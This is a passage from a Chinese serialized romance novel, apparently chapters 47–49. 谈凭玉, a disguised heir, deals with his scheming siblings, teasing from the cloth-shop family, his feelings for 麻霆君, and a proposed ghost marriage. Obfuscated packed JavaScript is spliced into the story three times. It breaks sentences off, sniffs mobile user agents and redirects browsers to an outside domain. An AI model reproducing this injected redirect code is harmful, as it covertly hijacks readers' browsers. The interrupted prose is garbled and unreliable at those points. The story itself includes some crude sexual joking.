严太太是真名门望族,打心眼里看不上谈老爷,哪怕他确实是自己的丈夫,电影明星出身的二姨太更加不在话下,岂有与他们斤斤计较的道理;她却不是豁达大度,背后也叫骂不跌。 二姨太死去后,谈皎和谈凭玉顺理成章抚养在她手下。对于谈凭玉,严太太肯视若己出,他年纪太小了,没什么记忆,谁都可以做他的母亲;对谈皎则始终冷眼相待,她认定有一些骨子里的东西早早定了性,下九流之派,唯独夜深人静才会微微祝福她,却不是希望她真的做出什么成绩,谈皎往好,她折磨,往坏也是折磨她。 谈家也成正规名门望族了,大约在谈凭玉六岁的时候。老爷对谈凭玉有些溺爱,凡是回家的日子,都把他带在身边,一句一句教他外文,或是商业启蒙。必然是缘由谈公馆太幽暗,随时开始的课堂大多在花园进行。 十三岁的谈文翡经历着最年轻气盛的一段日子。家丁没有敢拦他的,他便很是冒失地闯进花园。老爷周围分散诸多婆子与丫鬟,鼓励他参与这场父慈子孝——谈文翡说得出乎意料: “小偷。” 那年谈文翡被严太太带去京都消暑假,至此以后兄弟二人见面更是寥寥无几。谈文翡是严家的孩子,生丰满羽翼,两边都要维系。他只是锁在公馆的谈凭玉。 沉默声里,谈文翡再上前一步,近乎贴在他身上,道:“父亲年纪大了,多少力不从心。谈皎和你约好,用你假死,换她把家业暗度陈仓在她身上,名义上还是归给你。她不是初次尝试,因此你也敢答应。” 又笑道:“但是你低估她了。她早恨透了你。” 谈凭玉不答。 谈文翡道:“你在家里的事务不少,谈皎动的了的屈指可数。香岛是父亲一手操持的——属于你,谁也动不了。不如我们强强联手,她愿意给你的,我能够给你更多。” 谈文翡跋扈也难怪,家里只有他生着翅膀,什么都衔的回来。剩下三个都是死在公馆的,是花园里的石塑,唯独阴雨密布,才有落泪的时刻。谈凭玉甩不脱雨,得不了自由,有多恨雨便多恨他——叛徒是可耻的,死人背叛了死人,愈发罪加一等。 “对不住,我不会答应你的。”谈凭玉冷声道,“我来是为了告诉你,我还活着,把愚蠢的追悼会给我取消了。” “我知道你什么都不缺,才会感情用事。” 谈文翡表情玩味,又道,“我和蕙心去了一趟鹭镇,记得她说有你挑中的男人在。你要是没看到我的诚意,我明天就把他捆来给你。” 偏偏他是准的!谈凭玉恨他太精明,如坠冰窖,却还要佯装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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单龙一阵萎缩,左顾右盼些许时间,道:“四爷,这一带都是二爷的地盘。方才没能如他意,现在我们硬闯出去,风险会不会太大?” 谈凭玉冷哼一声,道:“他要是愿意耍阴招,我早就死了。” 单龙像是第一次学开汽车,斗胆驶了出去。 雨下得无止境,朦胧着夜晚,路上少有行车,畅通无阻。离开谈文翡的辖区许久,又载着四爷,单龙谨慎地放慢车速,遵照信号灯挺在十字路口。往右是一带公园,雨夜中别有一番风味。 谈凭玉开了一丝窗缝,道:“你见过麻霆君吗?” 单龙不熟悉麻霆君的名字,却不清楚他在说谁,不愿装傻多言,讪讪笑道:“见是见过,我们到得早,他特地来问我肚子饿不饿。我想他心肠不错。” 谈凭玉大抵是疲乏,半眯着眼,虚无道:“你说……我究竟在做什么。” “四爷,您的决定,您的思想,从来是领先在我们前头的。” 谈凭玉叹了很长一口气——单龙只作没有听见,通行灯的颜色闪烁起来,再踩一脚油门。雨帘之中,前路一望无际。 47.长姐 谈凭玉难得睡了个好觉。 在阁楼上的睡眠是一种受刑。入睡太折磨,翻覆在木柜拼成的单人床上,疼得木了,便总算是睡着了。此时柔软如云层的床垫衬在身下,终于发觉睡眠是一种休息,一类消遣。 谈凭玉睁着眼睛,骨头酥软在被窝里,好一阵子才记得面临着蜂拥而来的新一天。 单龙不会照顾人,好歹在谈三少爷身边耳濡目染;谈行一生惯了病,不病也娇气,饭一定要在床上吃,既然是四爷,单龙由此类推,因由不知道谈凭玉喜欢吃什么,什么品类的早点都买了些,分门别类放进托盘上,端在门口。 新的旧式生活无孔不入地着谈凭玉,他把托盘安在床头柜上,嚼着黄油牛角面包,砸在床上翻滚,左一阵,右一阵,多想长久地赖在这里。 床尾有几个枕头,被他踢得七零八落,他一概捞了过来,码得小山高,剩下一个,便紧紧抱在怀里。堆在一起的像是四爷,形单影只的便成了俞平,他把俞平往空中抛去——就算他有些爱上了麻霆君,非要在这时候?他还有家人、地位、财产……俞平的枕头不讲情分,砸在谈凭玉的脸上。谈凭玉索性由它闷着,满眼落进一片白茫茫之中。 他不信麻霆君马不停蹄变了心,等到家里尘埃落定,再找麻霆君,称不上太迟,还能多几个月安眠。 有人正敲门,谈凭玉伸手够不到铃,无力挣扎,到底是扯着嗓子唤单龙。 单龙急匆匆拧了把手。谈皎没有再敲卧室门。 谈皎真是毫无血色,穿一套黑色西服,鸡心领掐腰长裙,散开的裙摆跌在脚踝上,露出的几截皮肤森森发白,其中若是有白骨显露,混淆着,一时难以发现。 她伸手掀谈凭玉的枕头,食指上有一颗五克拉黄钻,用小钻细密托了底,不经意看以为捏着个电灯泡,十足把谈凭玉惊坐起来。 谈凭玉支吾一声。 “你去见谈文翡了。”谈皎居高临下,言语中只是平静。 他一时惊魂未定,又知道是谈皎想害他。这时候装作无事发生,便是一类求和。 谈皎必然比他想得更周全,识破他反应,倒是不慌不忙,道:“出了事后,你一直在哪里?” 谈凭玉道:“离枢城不远,有一带乡镇,我在其中的鹭镇。” 谈皎不是真的关注,只道:“好,你打算什么时候回来?” 谈凭玉道:“家里有事吗?” 谈皎道:“没事。” 谈凭玉心虚着,向她笑了笑,道:“没事的话,我想多住一阵。要是有事寻我,再把我叫回来。” “事情倒是不着急,我主要担心你住不惯,不过你喜欢,就随你心意。”谈皎坐在他身边,顺其自然牵着他的手,道,“我想在北边开拓煤矿生意,你回来好结婚了。” 这里每个字叫谈凭玉触目惊心,只觉得身体正往下坠,谈皎一定知道他在做什么!他空洞睁着眼睛,辨不出面前一张与自己相似的面孔,一时间看到了许多人,父亲母亲,哥哥姐姐,凡是连着他血脉的,哪一样剥开了看都是枷锁,把他拘在笼中。 手却是牢牢抓着谈皎,不肯松开,孤立无援地叫着她,姐姐,姐姐,谈皎是他的姐姐,他的姐姐不尽是谈皎。回想起鹭镇上鲜活的日夜,一切令他流连忘返,却都要不复存在了。 他必然是靠背叛了谈皎换取这一切的自在——他早背叛谈皎了!眼泪砸了两颗下来,污在被单上,惶急开了口:“为什么!” 谈皎没想过他有如此激动,茫然道:“为什么?” 谈凭玉拢着棉被与枕头,抱着膝盖,陷在其间,苦楚道:“这种事情……你怎么能替我决定?” 静默许久,他鼓起勇气抬眼看去——谈皎的眉毛理应是平的,眉弓骨突起一块,将眉毛断在三七分之间,眉尾上挑三分,眉头则是微微压着,添一点忧郁之色。 这张脸参加葬礼异常合适,因为美得十分死寂,比静默中的遗体更加无生机。他也长这样么?他也像橱窗里落尘的瓷娃娃,画报上万年不动的美人,艳得死气沉沉——如是,做情人也是一种奢望了。 “对不起。”谈皎抽回手,轻轻地道,“我最初以为我们是一样的。” 谈凭玉搭着手,心里有一阵劫后余生的轻松:初尝违逆的滋味,品出的竟是赦免,他心跳的才有些实感,往后缩了缩。谈皎留了背影给他,伸手端起床头柜上的手表端详一阵,那是麻霆君的心意。 谈文翡不能称作懂他,昨日只是轻佻地试探过,谈皎与他流着相同的血,一定识出真相。谈凭玉应该紧张的,却无暇顾及了,他被迫推向了一条全然相反的道路,新生事物铺天盖地,里头兴许有他想要的;面对谈皎,他有些愧疚,只哀哀地道:“姐姐,以后的事情……以后再说吧。” 谈皎的回答则是把那支手表丢在他的面前。 “是他吗?” “姐姐,我让你失望了。” 谈皎不再纠结,大约是伸手过来,谈凭玉闭着眼睛等候处决,却盼不来她的手。再睁眼时只见到谈皎调整过坐姿,手撑在他前面。她的眼睛比他还要漂亮,就这么空洞地注视着他,仿佛时间不会再流逝一秒,他要永永远远陷进无底的黑暗之中。 谈皎倏地笑了笑,目光下垂,道:“要是有机会,把他带回家给大家介绍吧。” 她的哀怜与谈文翡的有些相似,却是大相径庭。谈凭玉尚能阻挡谈文翡,无法拒绝她,便道:“好。” “你什么时候走?” “晚上。” “去吧。” 谈皎轻轻笑了下,走时捎上了门。 * 回到鹭镇在半夜。 布店总是为他留好门。鹭镇民风淳朴,除去麻霆君那一家,就算各家各户夜里家门大敞通风,也安然无恙。迈进门槛之后,他又回到俞平了。 俞平走夜路有经验,殊不知兰香早早恭候着他,见到他后没有丝毫慌张,反而比了个噤声的手势,以气声竭力说:“爹娘都睡觉啦!” 这一通宣告属实莫名其妙,俞平诡异打量她一眼,道:“你怎么不睡?” “我有事要问你。” 兰香领着他进了房间,自己抢了梳妆台前的小凳,态度随便地让俞平找地方坐。俞平拣了一块不放杂物的席地而坐,衣服都没整理平整,兰香率先警告道:“三更半夜,我一个妙龄少女,长得也挺不错的,还没有出嫁。就这样和你在一个房间,明天爹娘知道了,会不会揍死你?” 俞平顷刻起身,气忿道:“是你找的我,你当我想来?我不奉陪了!” 兰香笑道:“过来,过来!你是个好人,我们大家都知道,才不对你防备。况且我知道你不喜欢女人,你就是我的小姊妹,和娟儿、媛媛她们一样的。” 她把俞平按回原位,俞平气得七窍生烟,无力挣扎,重新坐下后,只觉得头晕不少。 兰香邪魅一笑,道:“你觉得我怎么样?” 俞平不想理她。她急道:“你说话呀!” 俞平忍下一口气,道:“兰香小姐,我也是把你当作妹妹对待的。” “然后呢?” “没有了。” 兰香扭头搬来一个枕头,猛地砸到地上,一拍床板: “我脑子是不大聪明,过程艰难了一些,总归是精通了珠算;再怎么说,我平时安分守己,年芳十六一枝花,虽不是出淤泥而不染,好歹亭亭玉立,冰清玉洁啊!” 她满腔悲愤,感慨道,“你知道我的品德,我不是什么水性杨花的女子。我多么安分守己,多么知礼数啊!” 不要说是二位老板,就算是天上神仙经过,都要被她喝下来瞧一瞧。苦于一直插不上话,她一气呵成说完这通,俞平才道:“你声音轻点……” 兰香一通捶胸顿足,呐喊道:“你就说是不是!” 俞平无助道:“是,是。” 兰香站在床上,叉腰道:“我知道你从前做过情人。可你一定更加清楚,你真是我的好姊妹,我说这话绝对不是看不起你。我是想你一定见多识广,才想要求助于你。” 俞平道:“讲,讲。” “我要是说了,你不准不回答,也不准懊恼。” “还是别说了。” 兰香眉毛一竖,道:“怎么和本大小姐说话的?这是布店!当心我把你赶出去!” 这便是堂堂谈四爷梦寐以求的新生活么?放弃享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840895|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣来伸手饭来张口的日子,来给兰香扮马戏,他那是在公寓里享福时,究竟怀念着什么?俞平心如死灰,无力道:“请大小姐随便讲,我什么都做得到。” 兰香却道:“哎呀,你会不会觉得我不正经。” “会。” 兰香瞪他,他才改口道:“不会。” “嗳,俞平。”兰香又是一抹奸诈的神情,从床上一跃而下,轻巧地钻在他面前,道,“做那事舒服吗?你不准看在五爷的面子上骗我,真的很舒服吗?” 俞平只觉得浑身血液沸腾。他的面孔也一定是极红的,丧失了一切力气,哑了许久,才道:“詹兰香,你每天都在想什么!” 兰香不嫌他可怜,匆匆捂他的嘴:“不得了了,你再讲大声一点,爹娘都要被你喊起来了。” 俞平到底教养好,有委屈也往下咽,手指指点点在兰香面前,一个字说不出来。他夺门要走,兰香第一个不愿意,兰香拗不过他,干脆抱着他的腿,顺势坐了下来,道:“不回答,不准走!” 俞平羞愤道:“我没有陪他睡觉!” 兰香道:“有什么好害羞的?你和他快活都快活过了,不能满足一下我们的好奇?俞平,我们是姐妹!” 俞平,拍她的头:“快松手了,大晚上的,像什么话!” 兰香道:“不行,你一定要讲!” 俞平绝望道:“我讲什么!” “讲什么?你讲——他们说五爷身上有异香,闻一口就醉倒了,是吗?” 兰香看他放弃挣扎,便起身晃了晃他,道,“嗳,不用讲了,你现在看上去就是醉醺醺的。我换一个。” 便又道:“五爷不光有虎背蜂腰螳螂腿,传说他下面一柱擎天,金枪不倒,他真有这么厉害吗?你用着是什么感想?” 俞平一时语塞,道:“你都是哪里听说的?” 兰香道:“学堂。” 俞平骇然道:“你们怎么知道,谁陪过他?” “咦,哪有人陪过他?那句话怎么说来着,‘洁身自好’,五爷人品可好了,你会感受不出来?他都被你吃死了,还担惊受怕呢。”兰香笑道,“麻公馆里家丁要识字,也来我们学堂,他们说的。” 俞平憋一口气,道:“我记得你还有一年毕业,能不能退学了?我给你找个家教老师。” “你体验过,你说什么是真的,什么是假的,还要再补充什么。” 兰香不依不饶,道,“偷偷告诉我就行,我保证不和媛媛她们讲。” 俞平板着脸,假笑一刻,道:“我也有事想问你。” 兰香期待道:“讲!” 俞平凑上前,恨恨道:“我脸上写,‘本人今生今世唯爱麻霆君一人’,我脸上有字写着吗?” 兰香仔细看一阵,道:“本来是没有的,你这么一说,倒好像真的有。” 又道:“不过那姓麻的好像真是喜欢你,阿吉说的,我认为很真。” “我知道。”俞平道,“你说我喜欢他吗?” “咦,你自己不知道,还来问我?以后你们新婚之夜,也要来征求我的意见吗?” 兰香笑道,“这点应该不可能,毕竟你们已经婚过了。那么,我说你也喜欢他,否则怎么肯欢天喜地地陪他去枢城?” 俞平不做表情,语气也不善,道:“好了,大小姐,我要告辞了。” “你还没告诉我!” “我告诉过你了:我没陪他睡觉。” 兰香嘟囔一阵没劲,不留神让他溜了走,便攀在楼梯口,朝阁楼喊:“俞平,你要是做成麻五奶奶,我就是五奶奶姨!你一定要让我也风光一回!” ……当夜梦里全是麻霆君。麻霆君千变万化着,融在他每一片生活当中。俞平身体最先惊醒,直直坐在床上;昨天尚在枢城逍遥,回想起来那段时光,好似是从别人的脑海里窃取的。他数着自己的心跳,心道荒唐。着实太荒唐。 确认过翡翠扳指还在破香囊里,俞平才安心不少,攥着长袍边缘,一阶一阶下了楼。 布店里却多了一位翩翩少年。一见俞平到来,他手指俞平,目瞪口呆,着急道: “他怎么穿着我的衣服!” 48.兰竹 “他没衣服穿,很可怜!不把你的衣服给他穿,难不成拿我的?” 兰香跋扈一如既往,那少年仅仅是眼皮跳了跳,不与她急眼,反怪罪起俞平,道:“他是谁?” “他是谁?他是我的仆人,你把你藏着的压岁钱给我,我让他也来伺候你。” 兰香咯咯笑着,牵来俞平,手掌重重拍在他的后背,介绍道,“这是俞平,是我们店里新雇的长工,也是我们的麻五奶奶。” 少年惊讶道:“哪个麻五,麻霆君?” 兰香道:“哎呀,你说有几个麻五!” 两人笑成一团,才见到俞平很是窘迫。少年记得他们自己从未谋面过,开口前,定睛在俞平脸上,一时再无法挪开;俞平见怪不怪,他却实在手足无措,干脆再欣赏俞平好久,才道:“嗳,难怪是麻五奶奶。” 兰香得意道:“是吧?” 少年在衣服上蹭干净手,朝俞平递来,道:“你好,我是詹兰竹,是兰香的哥哥。我不在的日子,多亏你在店里帮忙。” ——三月詹兰竹替麻霆君出发去茶山,今春多雨,回来时遭泥石流封了路。后来麻霆君再派人,他绕了远路,却歪打正着遇见麻霆君派来的人,总算平安回了鹭镇。 茶叶起码烂了一半,一早便运到了麻公馆。 俞平认识他,潦草与他握了握,再想客套也有心无力,道:“少爷,别听兰香开玩笑,我和五爷只是认识,不是什么少奶奶。” 兰香笑道:“板上钉钉的事情,有什么好抵赖的?有本事别喜欢他。” 俞平生硬道:“少爷,你一定累了,我为你打盆热水洗脸。” “一回家,好像什么烦恼都去除了,我不累,你也歇息着便是了。爹娘去外头买好吃的庆祝,桌上那副烧饼油条,你就当作没看见,留点肚子。” 詹兰竹笑道,“也别叫我少爷,你叫我兰竹,我也叫你平儿,如何?” 兰香道:“哪来的平儿?五爷都轮不到这一口,怎么好被你先抢过来。你把他的人叫亲了,我们店就没生意了。” 俞平忍无可忍,道:“好了,有什么牵连,哪来的五爷!” 兰香难得见他凶一回,自知玩笑开过了头,躲在哥哥身后,吐舌道:“再假的假话,说得多了自会成真。五爷对你这么包庇,我不信你不喜欢他,哪天生米煮成熟饭了,兴许还要感谢我呢!” 正说着,詹老板提着,进了门槛。詹兰竹热情叫了爹,便去接他的,一时间店里香气四溢。才想起桌上碗筷没摆,詹兰竹掀了布帘去后厨端,俞平见他去了,便与兰香坐一张长凳。 兰香斜眼朝他一眼,阴阳怪气道:“真成少奶奶了,什么活都不干。” 俞平心里恼着,倏地起身,兰香又道:“回来,陪我讲话。” 俞平方才结束少爷的生活,让他立刻投奔的卖力气日子,一时转换不过来,恨不得随便抓个佣人带回来;纵是知道兰香没什么好话,仍然答应了;兰香一见他坐下便笑开怀,道:“五爷喜欢你,你总归不讨厌他,多少有些好感存着。我说的对吗?” 俞平倒也没否认,平静道:“随便你怎么想,我认为清者自清。” “就当你们暗中勾搭上了……五爷真没对你动手动脚?” “讲多少遍了,没有!” 兰香笑道:“咦,他有这么君子?你岂不是更要爱得死去活来了。” 谈文翡有过一句格言:若是能够达成目的,过程大可不择手段。俞平这回贸然请假,真是不择手段了。他坚信这家人看不出他底细,不想他们权当他去陪麻霆君——人生在世,什么都是虚的,图得总归是一个踏实;便不存一丝侥幸,立刻去帮忙。 小小后厨挤着三个人,各有各的活计,一派手忙脚乱。俞平个头最高,抬着下巴瞧一眼,见到他们今天下血本,买的是饭馆的热菜,稍作摆盘就上桌,便是没有缝给他插针了。他又不愿回去陪兰香,没事找事地捏一把竹筷,说是清洗,搅在水盆里面磨洋工,好久才出去。 只有兰香边上的位置空着,俞平不想重蹈覆辙,硬把詹兰竹塞在中间。午饭时间大家齐心协力地关照着詹兰竹,听他讲在茶山的种种见闻,讲到茶叶的最终去留,詹兰竹起了决心,一拍桌子,道:“爹、娘,说起来,我下午要去麻公馆一趟。” 兰香立刻道:“好呀,叫俞平和你一起去!” 詹兰竹好歹在枢城独立生活过,又是年轻人,思想新一些,包容度也高。在他的心目中,他的眼界是布店里最高的。前头若真是兰香乱点鸳鸯谱,此时放眼全桌,唯独俞平埋头吃饭,还不够说明问题?俞平和五爷,必当有蹊跷。 他心中暗自下了判定,道:“平儿,你和五爷很熟悉吗?” 何氏夹了块鱼,道:“平儿和你倒是志同道合,他从前在枢城大户人家里做工,懂英文,现在给五爷当老师。” 詹兰竹道:“他不是留在我们店里,怎么去教五爷了?” 何氏笑道:“七天一星期,他四天在麻公馆,三天在布店帮忙,算我们租给五爷的,老詹捞了不少钱。” 詹兰竹道:“这么说,平儿还亏了?” 兰香道:“就数俞平最亏了!老詹,你快包个大红包,好好弥补他。” 俞平道:“老板,直接包给兰香吧,省得她来抢。” 几人哄笑一阵,詹老板挡不过,掏出口袋中零钱,发给三个小的,俞平收了一半,剩下都进了兰香的口袋。詹兰竹缓缓发觉事态与自己想的不尽相同,也释然不少。 “太好了,既然平儿和五爷熟悉,我去拜访不算唐突。” 詹兰竹道,“这批茶叶对五爷来说很是重要,我确实做的不够好,要向他好好赔不是。再说我能顺利回来,也是多亏了他派人找我。” 这人火急火燎,才风尘仆仆地回来不久,抹了嘴巴便要出门。俞平不等兰香叮嘱,抱了他预备好的礼盒,跟在他后头。 出了布店,一路上有说有笑,詹兰竹是兰香的翻版,却比兰香文气不少。俞平看人则是另一套标准,凡是不提及麻霆君的都是好人,便和他打成一片。 詹兰竹正绘声绘色讲着哪条弄堂的早点好吃,论枢城生活,他比俞平都精通。俞平不敢贸然接话,心里惴惴不安,怕早几个月,是他管自己叫少爷;转而探起他的口风,道:“听你的意思,你在枢城许久,是在哪里做的短工?” 詹兰竹笑道:“是了,我是想要问你。娘在饭桌上讲,你也是大户人家出来的,本来那时就想问,可惜太热闹,一下忘了。我在滨江一带,你呢?” 俞平笑道:“巧了,我也在滨江。” “滨江好,谈公馆就在滨江,谁不知道枢城顶厉害的姓谈?” 回忆时刻格外专注一些,詹兰竹不顾俞平神情,仰头感叹道,“哇,他们那一带不简单。” 俞平轻咳一声,道:“怎么不简单?” 詹兰竹不经思考,顺口感叹道:“他们那一带都很要强的。” 俞平套他的话:“你也知道?” 见俞平起了兴致,詹兰竹脸上波诡云谲,与兰香如出一辙地邪笑着,压低声音道:“他们那带都喜欢干男人!” 这叫什么话?詹兰竹说得如此直白,没想到是这般深层的含义。俞平紧张起来,道:“怎么干?” “干啊。”詹兰竹何止是嘴唇在发力,手上的动作分毫不差,手指并拢,咔嚓劈下,顿时风声阵阵,狠狠咬牙道,“干!” ……但是俞平一双狐狸眼瞪得比杏子还圆,他再度演示时,气焰弱了不少: “干。” 再这样下去要像骂人了。詹兰竹面露难色,撇过头去,朝俞平这里不断摆手,道:“平儿,这世道不简单的。” 愕然里,悄然撞见了麻公馆两扇红门。两人一同进去,公馆前一带都晾晒着茶叶。 麻霆君在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856289|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房看英文报。俞平不信他有这等求贤若渴,端着礼盒靠过去,要研究他究竟做了什么活计。 詹兰竹真当俞平是代由献礼的,管自己站在书房一片空地,诚恳道:“五爷,我真要感谢你!其一是你愿意给我这次的机会,我很珍惜,也很想要做好;其二是我违了约,你却还派人来找我,我很感激!茶山今年多犯泥石流,起初下雨的时候,我就应该觉察出来,可我那时只关注采茶,确实是我的疏漏……我知道这回失了诚信,要是五爷愿意谅解我,再给我一次机会,我一定愿意将功抵过。” 麻霆君收了报纸,客气道:“哦,不用谢。下次有机会,我会再来问你的。” 俞平居高临下睨他一眼,只见报纸是反着拿的。要说他英文太差,字母颠倒着看不出来,可插图也是颠倒过来的;又看见报纸底下是一本连环画,舍不得看过的几页,胡乱夹着一枚墨条再合上,顿时哭笑不得。 麻霆君的把戏被识破了,索性不充用功,张开报纸,挡在脸前,不好意思朝俞平笑了笑。见到俞平,他有万般话语要讲出口,哽到嘴边,想起詹兰竹还在——可这般正小别胜新婚,他难以抑制着,掀开报纸一角,朝詹兰竹道:“没事的,你不用放在心上!” 詹兰竹嗅到气氛不对,才要开口,麻霆君早迫不及待看着俞平,多么含情脉脉,温声道:“医生给你配的药,还是原来那几样吗?” 俞平应付道:“换了几种。” “我忘记告诉你,我家有远亲学西医,托人看过,原先几种药的副作用太大,还想叫你别吃了。” “是么,五爷百忙之余还记挂我这种零碎小事,有劳了。” “这次的药管用吗,看你脸色还不错?” “你担心什么,我有这么脆弱?” 知道前因后果的,多少明白俞平犯梦魇,这正是浓浓的兄弟情谊;不知道,变成了十足的浓情蜜意,眉来眼去后,狠狠地吻上一顿也不肯罢休!詹兰竹这般无辜人物正是不知道的,又到底在枢城生活过,识趣地挪开目光,耳朵不受控制地牢牢悬在他们之间。到头来自己都不好意思听下去了,告辞道: “平儿,我去外头透气,你到时间了来叫我。” 门关上,麻霆君不再掩藏,叠了报纸在一旁,起身笑道:“怎么成平儿了?” 俞平道:“我是俞平,自然可以叫平儿。” 麻霆君微微垂着眼眸,睫毛顺下来,为他英俊的脸庞增一段光彩。嘴里“平儿”,翻来覆去念一遍,像是含着一点点珍巧的情感,摆弄着一个精致的小物件。俞平先前如此念过一回“霆君”,被他如法炮制地对待了,即便平儿不完全作自己的名字,却也紧张起来,心咚咚跳着,耳根处火辣辣的,道:“好了,还当是第一次认识我呢。” 麻霆君自己品味许久,道:“他脑子真灵光,我是想不出来这么叫你。怪好听的,不是么?” 这一番说辞定下,仿佛真成了他的人。俞平觉着别扭,生怕是自己多心,可麻霆君看着自己,情感这般真切,若他的眼神能造假,世上定是半分真情都不会有了。 又想起大名鼎鼎詹兰香有过一句格言:麻霆君身上有异香,闻上一口便醉了。俞平不敢检查自身五脏六腑,定睛一瞧,发觉麻霆君的脸颊同样红着,或是他皮肤太深,红是健康颜色之中的一部分;气氛一至于斯,不是醉了,也硬添几分醉意。俞平心虚着,只想逃跑,匆匆道:“那你离我远点,我不想沾了你的傻气。” “哎呀!” “哎呀什么哎呀,你这个笨人!” 俞平正要拧他耳朵,突然听见敲门声,当是詹兰竹,火速闪至一旁;实则来了个佣人,满脸堆笑:“五爷,现在有事吗?老爷的朋友来了,想找五爷您呢。” 麻霆君多此一举地整理着衣服,道:“你先说是什么事,我再说有没有空。” 佣人美滋滋道:“喜事呀,来问您肯不肯做谈四奶奶。” 49.说媒 会客厅一套名贵红木家具,擦得比黄金更亮。太师椅上坐着个中年,知天命的年岁,在麻老爷口中则是老陈。 交谈时老陈喜形于色,麻老爷却局促不安。门口用人来通报,老陈咬断话茬,眼睛去捉麻霆君的脸,愉悦道:“哎呀,五少爷,来啦?” 麻霆君不肯让俞平陪同,只身一人下了楼。纵是待客,他脸上没有半分欢迎的表示,嘴角也垮着,却更加了几分强硬之气,正中老陈下怀。 老陈看他真阳刚,啧啧称赞着,先朝麻老爷道:“麻兄,不得了,令子是真英俊!” 麻老爷讪讪笑着,道:“过誉了,犬子。” “你说他还没成家,他年纪多大了?” “小着呢,才二十一……快二十二了。” “二十一也不小了,四爷不过十八九,般配的。” 老陈抛下麻老爷,迈着朝气蓬勃的步子,上前好生打量麻霆君一番,拍了拍他的肩,道:“你可知道,枢城有一座谈公馆?” 麻霆君冷淡道:“知道。” 老陈道:“想必你也清楚,那谈公馆里,排场最大的,就是谈四爷谈凭玉。” 麻霆君心存芥蒂,道:“四爷已经死了,我与他素不相识,也要为他节哀么?” 老陈笑他太幼稚,道:“你可太低估四爷了,他神通广大,怎么会死?他们家在远郊有几座工厂,有人看到他了,千真万确。” 谈凭玉此人正是麻霆君心上拔不掉的一根尖刺——俞平来鹭镇时一身伤,更没有值钱的物件,麻霆君恨他待俞平太差,生生苦了俞平;不管老陈吹嘘什么,全然不想搭理,亏是教养好,有一搭没一搭地应着。 “麻兄,我今朝见到他,才知道什么人能够叫四爷牵肠挂肚,这么好的孩子,你说谁不喜欢?” 老陈自己说得热火朝天,兴起处手舞足蹈,“我与郁公馆来往密切,郁家几个姨娘热心肠,告诉过我,四爷心里有一位佳人,模样高大英俊,心地善良。麻兄,我敬你是大哥,如此美差轮不着你我,便轮给你的宝贝儿子。” 随后这话是见不得人的,他凑在麻霆君耳畔,又道:“我悄悄告诉你,谈四爷传统得很,从不玩弄少男感情,还是童子身!等你们携手去黄泉,你再好好与他享风流。” 麻霆君骇然,后退一步,道:“爹,这什么人!” “我是在给你传授发财之道,你怎么不高兴?麻兄你讲,他有没有良心?” 麻老爷苦涩道:“这是你陈叔,年轻时和你爹是结拜兄弟,这几年,你不认识他。” 又道:“老陈,算了,算了。” 老陈道:“怎么算了?能嫁去谈家,天大的好事!要是叫几家始终觊觎谈四奶奶位置的知道了,非把你儿子撕成碎片不可。” 麻老爷道:“冥婚,是不是要把我儿子殉葬了?” 老陈笑道:“殉葬有什么?他若是与四爷配冥婚,你们就是谈家这辈唯一的亲家。麻兄,你妻妾成群,再努努力,叫他的灵魂重新投胎过来,那真是有无尽的福好享。” “什么殉葬,我看谁敢动他!” 老陈踉跄一步,歪歪斜斜朝一旁的屏风上倒去,一把老骨头险些散了架。俞平怒气冲冲在后头,拆散二人,推完老陈,顺带把麻霆君护在身后。 麻霆君猝不及防,再反应过来,只见俞平杀气腾腾的背影在身前;可是俗称八字没一撇的事,他与俞平的八字刚是开始磨墨,俞平竟有如此着急!他心里感动不已,舍不得俞平冲锋陷阵,反而把俞平揽在身后。 俞平非要看清老陈是什么人物,在他身后冒着脑袋,止不住瞪着老陈。 老陈好不容易站稳,动怒道:“你是哪里来的小孩?” 俞平一愣,道:“你又是谁?” 那时在书房听见要把麻霆君与他配冥婚,他真以为谈文翡来了!谈文翡查他的行踪简直是小菜一碟,何况早放过狠话,挟麻霆君威胁他;俞平越想越愤懑,一怒之下,摸到口袋戴翡翠扳指,什么都不管不顾了: 谈文翡算什么,吃里扒外这么多年,不知姓谈还是严;他是堂堂正正的谈四爷,谈家还不是听他的!敢在他眼皮底下动麻霆君,真是太胆大包天! ……老陈却是个生面孔,这就有些出乎他的意料了。俞平当真骑虎难下,握着拳头,先把翡翠扳指藏在手心里。 “喔——” 老陈看清俞平,大叫道,“喔!” 麻霆君吓得不轻,哆嗦着向后退;俞平更想缩成小小一团,藏在麻霆君肩上,心里却是犯嘀咕,麻霆君在长辈口中有着这样好的名声?若非四爷正是他,早气得七窍生烟。 老陈色迷迷地道:“我说你怎么不肯应了谈四爷,这是上哪找的小情人,能长这样美?小少爷,听我的,你先在他身上把技术练好,再去伺候四爷。” 又灵光一闪,笑道:“这小情人这般俊美,四爷哪不喜欢他?干脆你们一道去陪四爷,一天轮一个,不但每人能多半年的假,还能再续前缘。” 麻老爷起身道:“老陈,我新收了古董字画在隔壁,还想请你去过目。” 